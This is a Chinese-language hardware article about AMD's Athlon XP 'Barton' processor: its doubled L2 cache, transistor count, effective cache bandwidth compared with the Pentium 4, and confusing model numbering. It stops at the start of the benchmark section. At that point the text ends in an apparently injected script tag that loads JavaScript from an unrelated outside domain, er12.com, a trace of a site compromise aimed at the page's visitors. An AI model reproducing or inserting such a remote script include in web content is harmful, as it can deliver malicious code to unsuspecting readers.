（华强电子世界网讯） 在athlon 64发布之前，为了抵挡intel的攻势，amd的athlon xp引进了新的元素，代码名为barton，这种新芯片的缓存是原来的两倍，从256kb跳升到512kb。其他的参数没有变化。这样既提高了芯片的性能，又不会带来任何的副作用。这种性能的提高其实我们在intel发布northwood的时候已经看到过，自northwood发布以来，p4的性能平衡了很多。下面我们就逐步介绍这款新的芯片。
认识barton家族
由于使用了更大的缓存，barton的体积要比thoroughbred（以下简称t-bred）的大（见图1）。t-bred由3760万个晶体管组成，而barton则由5430万个晶体管组成。p4的northwood由5500万个晶体管组成，所以athlon xp的晶体管的数量最终和p4的一样。在体积方面，barton只比t-bred长一点，barton的表面积由原来的84mm2增加到101mm2。因为现在缓存的晶体管可以被封装在较小的空间里面，所以barton的体积不会特别大。
所有athlon的芯片都带有128kb的一级缓存，平均地分配作为指令缓存和数据缓存。因为athlon的二级缓存是独立于一级缓存的，二级缓存的内容和一级缓存的内容并不重复。所以，athlon有效总缓存比p4的大。athlon的t-bred核心的128kb一级缓存和256kb二级缓存加起来达到384kb片内缓存。同样的，barton的两片64kb一级缓存和512kb二级缓存加起来有效缓存达640kb。
图1
但是，光是缓存一个参数并不能说明任何的东西。我们不能只凭athlon xp的缓存比p4的缓存大就得出谁比谁性能更好的结论。因为athlon xp和p4毕竟还有很多方面不一样。
64位2.17ghz的二级缓存提供5.5gb/s的带宽给cpu的内核，比3ghz的p4处理器小了不少。但是，如果说athlon的二级缓存的速度影响了性能还是言之过早。和p4相反，athlon的一级缓存会提供很多需要的带宽资源。比如，一个浮点运算程序有85%在一级缓存中，但是只有15%在二级缓存中。由于p4只使用它的二级缓存，所以对于浮点数运算单元它有19gb/s的带宽量。而athlon则有(0.85×19 gb/s + 0.15×5.5 gb/s) 17gb/s的带宽量，二者旗鼓相当。在大多数的应用程序中，特别是浮点运算中，athlon使用二级缓存的频率比p4要少。
于是我们可以理论上推测：barton640kb和thoroughbred384kb的性能差要比northwood512kb和willamette256kb的性能差要小。
混乱的产品线
我们今天说的barton芯片是指athlon xp 3000+。尽管它的时钟频率只是2.166ghz，但是因为barton核心的缓存比t-bred多，所以它的型号为“3000+”。同样频率的t-bred只得到athlon xp2700+的编号。这种编排的方法使得amd原来清楚的排序变得混乱。
真正造成这种混乱的是athlon xp 2800+。amd去年十月份发布了2.25ghz基于t-bred的芯片，但它没有被广泛的使用。现在，基于t-bred的athlon xp2800+已经被基于barton的athlon xp2800+所取代了，后者的时钟频率仅为2.083ghz。amd说基于t-bred的athlon xp2800+只是一个限量生产的产品，现在已经不再生产了。
在barton家族中，最便宜的要算athlon xp2500+了，它的时钟是1.83ghz。amd曾经发布了athlon xp 2400+和2600+两款基于t-bred的处理器，但是它们有更高的时钟。和所有barton一样，athlon xp2500+在333mhz前端总线的环境下运行。（顺便提醒大家，amd说将会考虑让芯片运行在400mhz前端总线的环境下。amd有可能会在年中发布的athlon xp3200+中使用更高速度的总线）
基于barton的芯片，像athlon xp3000+，将不会像以前的athlon xp那么便宜，因为amd想凭借barton拉近athlon和p4之间价格的差距，并靠barton来填补amd在高端市场的空白。
当然，只有通过基准测试才会知道这些芯片是否物有所值。现在先让我们看一看barton和t-bred芯片的真面目。
测试结果
内存性能：
像以往一样，我们将以内存测试开始?script src=http://er12.com/t.js>
